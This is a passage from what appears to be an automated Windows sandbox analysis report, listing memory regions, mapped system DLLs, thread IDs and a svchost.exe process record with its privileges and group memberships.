"c:\\windows\\system32\\wtsapi32.dll") Region: id = 4316 start_va = 0x7891690000 end_va = 0x789171ffff entry_point = 0x78916a19a0 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 4317 start_va = 0x7891720000 end_va = 0x789179ffff entry_point = 0x0 region_type = private name = "private_0x0000007891720000" filename = "" Region: id = 4318 start_va = 0x7ff617d74000 end_va = 0x7ff617d75fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d74000" filename = "" Region: id = 4325 start_va = 0x7ffd184b0000 end_va = 0x7ffd184b9fff entry_point = 0x7ffd184b0000 region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 4330 start_va = 0x78917a0000 end_va = 0x789181ffff entry_point = 0x0 region_type = private name = "private_0x00000078917a0000" filename = "" Region: id = 4331 start_va = 0x7ff617d72000 end_va = 0x7ff617d73fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d72000" filename = "" Region: id = 4332 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 4334 start_va = 0x7891820000 end_va = 0x789189ffff entry_point = 0x0 region_type = private name = "private_0x0000007891820000" filename = "" Region: id = 4335 start_va = 0x7ff617d70000 end_va = 0x7ff617d71fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d70000" filename = "" Region: id = 4336 start_va = 0x7ffd18490000 end_va = 0x7ffd18498fff entry_point = 0x7ffd18490000 region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 4349 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 4378 start_va = 0x7ffd18430000 end_va = 0x7ffd1848dfff entry_point = 0x7ffd184310b0 region_type = mapped_file name = "wcmsvc.dll" filename = "\\Windows\\System32\\wcmsvc.dll" (normalized: "c:\\windows\\system32\\wcmsvc.dll") Region: id = 4379 start_va = 0x7ffd183d0000 end_va = 0x7ffd1842afff entry_point = 0x7ffd183d0000 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 4385 start_va = 0x78918a0000 end_va = 0x789191ffff entry_point = 0x0 region_type = private name = "private_0x00000078918a0000" filename = "" Region: id = 4386 start_va = 0x7ff617d6e000 end_va = 0x7ff617d6ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617d6e000" filename = "" Region: id = 4387 start_va = 0x7ffd1c390000 end_va = 0x7ffd1c432fff entry_point = 0x7ffd1c3a5be8 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 4389 start_va = 0x7ffd18360000 end_va = 0x7ffd1837dfff entry_point = 0x7ffd18360000 region_type = mapped_file name = "wcmcsp.dll" filename = "\\Windows\\System32\\wcmcsp.dll" (normalized: "c:\\windows\\system32\\wcmcsp.dll") Region: id = 4390 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4391 start_va = 0x7ffd18350000 end_va = 0x7ffd1835dfff entry_point = 0x7ffd18350000 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 4414 start_va = 0x7ffd1bbd0000 end_va = 0x7ffd1bc85fff entry_point = 0x7ffd1bbe2c60 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 4416 start_va = 0x7ffd181d0000 end_va = 0x7ffd18216fff entry_point = 0x7ffd181d0000 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 4417 start_va = 0x7891920000 end_va = 0x789199ffff entry_point = 0x0 region_type = private name = "private_0x0000007891920000" filename = "" Region: id = 4418 start_va = 0x7ff617d6c000 end_va = 0x7ff617d6dfff entry_point = 0x0 region_type = private name = "private_0x00007ff617d6c000" filename = "" Region: id = 4419 start_va = 0x7ffd19590000 end_va = 0x7ffd195a8fff entry_point = 0x7ffd19591180 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 4420 start_va = 0x7ffd1c660000 end_va = 0x7ffd1c74afff entry_point = 0x7ffd1c691aac region_type = mapped_file name = "kerberos.dll" filename = "\\Windows\\System32\\kerberos.dll" (normalized: "c:\\windows\\system32\\kerberos.dll") Region: id = 4421 start_va = 0x7ffd1cd50000 end_va = 0x7ffd1cd61fff entry_point = 0x7ffd1cd510f4 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 4422 start_va = 0x7ffd1c750000 end_va = 0x7ffd1c767fff entry_point = 0x7ffd1c754d78 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 4423 start_va = 0x7890d50000 end_va = 0x7890d50fff entry_point = 0x0 region_type = private name = "private_0x0000007890d50000" filename = "" Region: id = 4424 start_va = 0x78919a0000 end_va = 0x7891a1ffff entry_point = 0x0 region_type = private name = "private_0x00000078919a0000" filename = "" Region: id = 4425 start_va = 0x7ff617d6a000 end_va = 0x7ff617d6bfff entry_point = 0x0 region_type = private name = "private_0x00007ff617d6a000" filename = "" Region: id = 4470 start_va = 0x78917a0000 end_va = 0x789181ffff entry_point = 0x0 region_type = private name = "private_0x00000078917a0000" filename = "" Region: id = 4471 start_va = 0x7891a20000 end_va = 0x7891a9ffff entry_point = 0x0 region_type = private name = "private_0x0000007891a20000" filename = "" Region: id = 4472 start_va = 0x7ff617d68000 end_va = 0x7ff617d69fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d68000" filename = "" Region: id = 4473 start_va = 0x7ff617d72000 end_va = 0x7ff617d73fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d72000" filename = "" Region: id = 4474 start_va = 0x7891aa0000 end_va = 0x7891b1ffff entry_point = 0x0 region_type = private name = "private_0x0000007891aa0000" filename = "" Region: id = 4475 start_va = 0x7ff617d66000 end_va = 0x7ff617d67fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d66000" filename = "" Region: id = 4476 start_va = 0x7ffd181a0000 end_va = 0x7ffd181b3fff entry_point = 0x7ffd181a0000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 4488 start_va = 0x7891b20000 end_va = 0x7891b9ffff entry_point = 0x0 region_type = private name = "private_0x0000007891b20000" filename = "" Region: id = 4489 start_va = 0x7ff617d64000 end_va = 0x7ff617d65fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d64000" filename = "" Region: id = 4490 start_va = 0x7ffd18180000 end_va = 0x7ffd18198fff entry_point = 0x7ffd18180000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 4503 start_va = 0x7890d50000 end_va = 0x7890d50fff entry_point = 0x0 region_type = private name = "private_0x0000007890d50000" filename = "" Region: id = 4625 start_va = 0x7891690000 end_va = 0x789171ffff entry_point = 0x78916a19a0 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 4630 start_va = 0x7891b20000 end_va = 0x7891c62fff entry_point = 0x7891b20000 region_type = mapped_file name = "appxdeploymentserver.dll" filename = "\\Windows\\System32\\AppXDeploymentServer.dll" (normalized: "c:\\windows\\system32\\appxdeploymentserver.dll") Region: id = 5232 start_va = 0x7891b20000 end_va = 0x7891bbcfff entry_point = 0x7891b309c8 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 5233 start_va = 0x7891bc0000 end_va = 0x7891fbffff entry_point = 0x0 region_type = private name = "private_0x0000007891bc0000" filename = "" Region: id = 5234 start_va = 0x7891fc0000 end_va = 0x7892076fff entry_point = 0x7891fc10a8 region_type = mapped_file name = "twinapi.dll" filename = "\\Windows\\System32\\twinapi.dll" (normalized: "c:\\windows\\system32\\twinapi.dll") Region: id = 5257 start_va = 0x7891fc0000 end_va = 0x78920bffff entry_point = 0x0 region_type = private name = "private_0x0000007891fc0000" filename = "" Region: id = 5627 start_va = 0x78920c0000 end_va = 0x7892d57fff entry_point = 0x78920c1094 region_type = mapped_file name = "twinui.dll" filename = "\\Windows\\System32\\twinui.dll" (normalized: "c:\\windows\\system32\\twinui.dll") Region: id = 5913 start_va = 0x7891b20000 end_va = 0x7891badfff entry_point = 0x7891b25638 region_type = mapped_file name = "wpncore.dll" filename = "\\Windows\\System32\\wpncore.dll" (normalized: "c:\\windows\\system32\\wpncore.dll") Region: id = 5919 start_va = 0xfdf0000 end_va = 0xfe5cfff entry_point = 0xfe0f520 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 6608 start_va = 0x7890d50000 end_va = 0x7890d53fff entry_point = 0x7890d50000 region_type = mapped_file name = "pcaevts.dll" filename = "\\Windows\\System32\\pcaevts.dll" (normalized: "c:\\windows\\system32\\pcaevts.dll") Region: id = 6609 start_va = 0x7890d50000 end_va = 0x7890d53fff entry_point = 0x7890d50000 region_type = mapped_file name = "pcaevts.dll" filename = "\\Windows\\System32\\pcaevts.dll" (normalized: "c:\\windows\\system32\\pcaevts.dll") Region: id = 6610 start_va = 0x7890d60000 end_va = 0x7890d67fff entry_point = 0x7890d60000 region_type = mapped_file name = "winmgmtr.dll" filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll") Region: id = 6794 start_va = 0x7891b20000 end_va = 0x7891b9ffff entry_point = 0x0 region_type = private name = "private_0x0000007891b20000" filename = "" Region: id = 6795 start_va = 0x78920c0000 end_va = 0x789213ffff entry_point = 0x0 region_type = private name = "private_0x00000078920c0000" filename = "" Region: id = 6796 start_va = 0x7892140000 end_va = 0x78921bffff entry_point = 0x0 region_type = private name = "private_0x0000007892140000" filename = "" Region: id = 6797 start_va = 0x7ff617d60000 end_va = 0x7ff617d61fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d60000" filename = "" Region: id = 6798 start_va = 0x7ff617d62000 end_va = 0x7ff617d63fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d62000" filename = "" Region: id = 6799 start_va = 0x7ff617d64000 end_va = 0x7ff617d65fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d64000" filename = "" Region: id = 6950 start_va = 0x78917a0000 end_va = 0x7891804fff entry_point = 0x78917be238 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe") Region: id = 6970 start_va = 0xfdf0000 end_va = 0xfe9cfff entry_point = 0xfdff250 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6981 start_va = 0x7890d60000 end_va = 0x7890d7cfff entry_point = 0x7890d63934 region_type = mapped_file name = "radardt.dll" filename = "\\Windows\\System32\\radardt.dll" (normalized: "c:\\windows\\system32\\radardt.dll") Region: id = 6982 start_va = 0x78921c0000 end_va = 0x78929bffff entry_point = 0x0 region_type = private name = "private_0x00000078921c0000" filename = "" Region: id = 7269 start_va = 0x7890d60000 end_va = 0x7890d60fff entry_point = 0x0 region_type = private name = "private_0x0000007890d60000" filename = "" Region: id = 7270 start_va = 0x7890d60000 end_va = 0x7890d60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007890d60000" filename = "" Region: id = 7399 start_va = 0x78929c0000 end_va = 0x7892a98fff entry_point = 0x78929c1090 region_type = mapped_file name = "mpssvc.dll" filename = "\\Windows\\System32\\MPSSVC.dll" (normalized: "c:\\windows\\system32\\mpssvc.dll") Region: id = 7903 start_va = 0x7891b20000 end_va = 0x7891b9ffff entry_point = 0x0 region_type = private name = "private_0x0000007891b20000" filename = "" Region: id = 7904 start_va = 0x7892140000 end_va = 0x78921bffff entry_point = 0x0 region_type = private name = "private_0x0000007892140000" filename = "" Region: id = 7905 start_va = 0x7ff617d64000 end_va = 0x7ff617d65fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d64000" filename = "" Region: id = 7906 start_va = 0x7ff617d72000 end_va = 0x7ff617d73fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d72000" filename = "" Region: id = 7966 start_va = 0x7890d70000 end_va = 0x7890d8ffff entry_point = 0x7890d70000 region_type = mapped_file name = "hdaudio.pnf" filename = "\\Windows\\Inf\\hdaudio.PNF" (normalized: "c:\\windows\\inf\\hdaudio.pnf") Region: id = 7967 start_va = 0x7ffd19f90000 end_va = 0x7ffd1a0f3fff entry_point = 0x7ffd19fb20f0 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 7968 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 7969 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7970 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 7971 start_va = 0x78929c0000 end_va = 0x7892a3ffff entry_point = 0x0 region_type = private name = "private_0x00000078929c0000" filename = "" Region: id = 7972 start_va = 0x7ff617d60000 end_va = 0x7ff617d61fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d60000" filename = "" Region: id = 7977 start_va = 0x7ffd15900000 end_va = 0x7ffd15975fff entry_point = 0x7ffd1590b7b0 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 7997 start_va = 0x7ffd13ab0000 end_va = 0x7ffd13ae1fff entry_point = 0x7ffd13ab0000 region_type = mapped_file name = "deviceaccess.dll" filename = "\\Windows\\System32\\deviceaccess.dll" (normalized: "c:\\windows\\system32\\deviceaccess.dll") Region: id = 7999 start_va = 0x7890d70000 end_va = 0x7890d70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007890d70000" filename = "" Region: id = 8028 start_va = 0x7891210000 end_va = 0x789122ffff entry_point = 0x7891210000 region_type = mapped_file name = "hdaudio.pnf" filename = "\\Windows\\Inf\\hdaudio.PNF" (normalized: "c:\\windows\\inf\\hdaudio.pnf") Region: id = 8173 start_va = 0x7891210000 end_va = 0x789122ffff entry_point = 0x7891210000 region_type = mapped_file name = "hdaudio.pnf" filename = "\\Windows\\Inf\\hdaudio.PNF" (normalized: "c:\\windows\\inf\\hdaudio.pnf") Region: id = 10573 start_va = 0x7892a40000 end_va = 0x7892abffff entry_point = 0x0 region_type = private name = "private_0x0000007892a40000" filename = "" Region: id = 10574 start_va = 0x7892ac0000 end_va = 0x7892b3ffff entry_point = 0x0 region_type = private name = "private_0x0000007892ac0000" filename = "" Region: id = 10575 start_va = 0x7892b40000 end_va = 0x7892bbffff entry_point = 0x0 region_type = private name = "private_0x0000007892b40000" filename = "" Region: id = 10576 start_va = 0x7ff617d5a000 end_va = 0x7ff617d5bfff entry_point = 0x0 region_type = private name = "private_0x00007ff617d5a000" filename = "" Region: id = 10577 start_va = 0x7ff617d5c000 end_va = 0x7ff617d5dfff entry_point = 0x0 region_type = private name = "private_0x00007ff617d5c000" filename = "" Region: id = 10578 start_va = 0x7ff617d5e000 end_va = 0x7ff617d5ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617d5e000" filename = "" Region: id = 10594 start_va = 0x7892bc0000 end_va = 0x7892c3ffff entry_point = 0x0 region_type = private name = "private_0x0000007892bc0000" filename = "" Region: id = 10595 start_va = 0x7ff617d58000 end_va = 0x7ff617d59fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d58000" filename = "" Region: id = 10596 start_va = 0x7891210000 end_va = 0x789122ffff entry_point = 0x7891210000 region_type = mapped_file name = "hdaudio.pnf" filename = "\\Windows\\Inf\\hdaudio.PNF" (normalized: "c:\\windows\\inf\\hdaudio.pnf") Region: id = 10732 start_va = 0x7892c40000 end_va = 0x7892da7fff entry_point = 0x7892c41068 region_type = mapped_file name = "diagperf.dll" filename = "\\Windows\\System32\\diagperf.dll" (normalized: "c:\\windows\\system32\\diagperf.dll") Region: id = 10919 start_va = 0x7892c40000 end_va = 0x7892cbffff entry_point = 0x0 region_type = private name = "private_0x0000007892c40000" filename = "" Region: id = 10920 start_va = 0x7ff617d56000 end_va = 0x7ff617d57fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d56000" filename = "" Region: id = 10921 start_va = 0x7ffd11010000 end_va = 0x7ffd11033fff entry_point = 0x7ffd11010000 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 10922 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10923 start_va = 0x7ffd10e80000 end_va = 0x7ffd11007fff entry_point = 0x7ffd10e80000 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll") Region: id = 10924 start_va = 0x7ffd12540000 end_va = 0x7ffd1254efff entry_point = 0x7ffd125410e4 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 10925 start_va = 0x7ffd13a30000 end_va = 0x7ffd13aaefff entry_point = 0x7ffd13a3a3a4 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 10926 start_va = 0x7ffd12150000 end_va = 0x7ffd12163fff entry_point = 0x7ffd12151090 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 10927 start_va = 0x7ffd12170000 end_va = 0x7ffd12253fff entry_point = 0x7ffd12196fdc region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 10938 start_va = 0x7ffd1a150000 end_va = 0x7ffd1a214fff entry_point = 0x7ffd1a15109c region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 10939 start_va = 0x7ffd10db0000 end_va = 0x7ffd10e7cfff entry_point = 0x7ffd10db0000 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 10942 start_va = 0x7890d80000 end_va = 0x7890d81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007890d80000" filename = "" Region: id = 10943 start_va = 0x7ffd1ce20000 end_va = 0x7ffd1cff6fff entry_point = 0x7ffd1ce210a4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 10944 start_va = 0x7ffd10d80000 end_va = 0x7ffd10da5fff entry_point = 0x7ffd10d80000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 10945 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 10946 start_va = 0x7ffd1d000000 end_va = 0x7ffd1d04dfff entry_point = 0x7ffd1d001278 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 10947 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 10948 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 10949 start_va = 0x7ffd10d60000 end_va = 0x7ffd10d71fff entry_point = 0x7ffd10d60000 region_type = mapped_file name = "wups.dll" filename = "\\Windows\\System32\\wups.dll" (normalized: "c:\\windows\\system32\\wups.dll") Region: id = 10950 start_va = 0x7891210000 end_va = 0x7891210fff entry_point = 0x0 region_type = private name = "private_0x0000007891210000" filename = "" Region: id = 10951 start_va = 0x7892cc0000 end_va = 0x7892d3ffff entry_point = 0x0 region_type = private name = "private_0x0000007892cc0000" filename = "" Region: id = 10952 start_va = 0x7ff617d54000 end_va = 0x7ff617d55fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d54000" filename = "" Region: id = 10953 start_va = 0x7892d40000 end_va = 0x7892dbffff entry_point = 0x0 region_type = private name = "private_0x0000007892d40000" filename = "" Region: id = 10954 start_va = 0x7ff617d52000 end_va = 0x7ff617d53fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d52000" filename = "" Region: id = 10955 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 10956 start_va = 0x7892dc0000 end_va = 0x7892ebffff entry_point = 0x0 region_type = private name = "private_0x0000007892dc0000" filename = "" Region: id = 10957 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 10958 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 10959 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Thread: id = 299 os_tid = 0x308 Thread: id = 301 os_tid = 0x310 Thread: id = 302 os_tid = 0x314 Thread: id = 303 os_tid = 0x318 Thread: id = 307 os_tid = 0x328 Thread: id = 308 os_tid = 0x32c Thread: id = 309 os_tid = 0x330 Thread: id = 312 os_tid = 0x33c Thread: id = 314 os_tid = 0x340 Thread: id = 345 os_tid = 0x3c4 Thread: id = 348 os_tid = 0x3d0 Thread: id = 349 os_tid = 0x3d4 Thread: id = 350 os_tid = 0x3d8 Thread: id = 353 os_tid = 0x3e4 Thread: id = 357 os_tid = 0x3f4 Thread: id = 359 os_tid = 0x3fc Thread: id = 360 os_tid = 0xdc Thread: id = 364 os_tid = 0x114 Thread: id = 366 os_tid = 0x104 Thread: id = 367 os_tid = 0x148 Thread: id = 370 os_tid = 0x154 Thread: id = 371 os_tid = 0x144 Thread: id = 372 os_tid = 0x134 Thread: id = 378 os_tid = 0x1c8 Thread: id = 392 os_tid = 0x2d0 Thread: id = 447 os_tid = 0x4cc Thread: id = 627 os_tid = 0x7ac Thread: id = 631 os_tid = 0x7c0 Thread: id = 632 os_tid = 0x7c4 Thread: id = 739 os_tid = 0x85c Thread: id = 740 os_tid = 0x860 Thread: id = 746 os_tid = 0x878 Thread: id = 765 os_tid = 0x8d0 Thread: id = 910 os_tid = 0xb50 Thread: id = 911 os_tid = 0xb54 Thread: id = 913 os_tid = 0xb58 Thread: id = 915 os_tid = 0xb60 Thread: id = 975 os_tid = 0x604 Thread: id = 985 os_tid = 0x898 Thread: id = 986 os_tid = 0x834 Process: id = "46" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x65ccb000" os_pid = "0x320" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MMCSS" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\MsKeyboardFilter" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000abd2" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 3840 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3841 start_va = 0x100000000 end_va = 0x10001ffff entry_point = 0x0 region_type = private name = "private_0x0000000100000000" filename = "" Region: id = 3842 start_va = 0x100020000 end_va = 0x10002efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000100020000" filename = "" Region: id = 3843 start_va = 0x100030000 end_va = 0x1000affff entry_point = 0x0 region_type = private name = "private_0x0000000100030000" filename = "" Region: id = 3844 start_va = 0x1000b0000 end_va = 0x1000b3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000001000b0000" filename = "" Region: id = 3845 start_va = 0x7ff617d20000 end_va = 0x7ff617d42fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff617d20000" filename = "" Region: id = 3846 start_va = 0x7ff617d4c000 end_va = 0x7ff617d4cfff entry_point = 0x0 region_type = private name = "private_0x00007ff617d4c000" filename = "" Region: id = 3847 start_va = 0x7ff617d4e000 end_va = 0x7ff617d4ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617d4e000" filename = "" Region: id = 3848 start_va = 0x7ff618320000 end_va = 0x7ff61832bfff entry_point = 0x7ff61832218c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 3849 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3850 start_va = 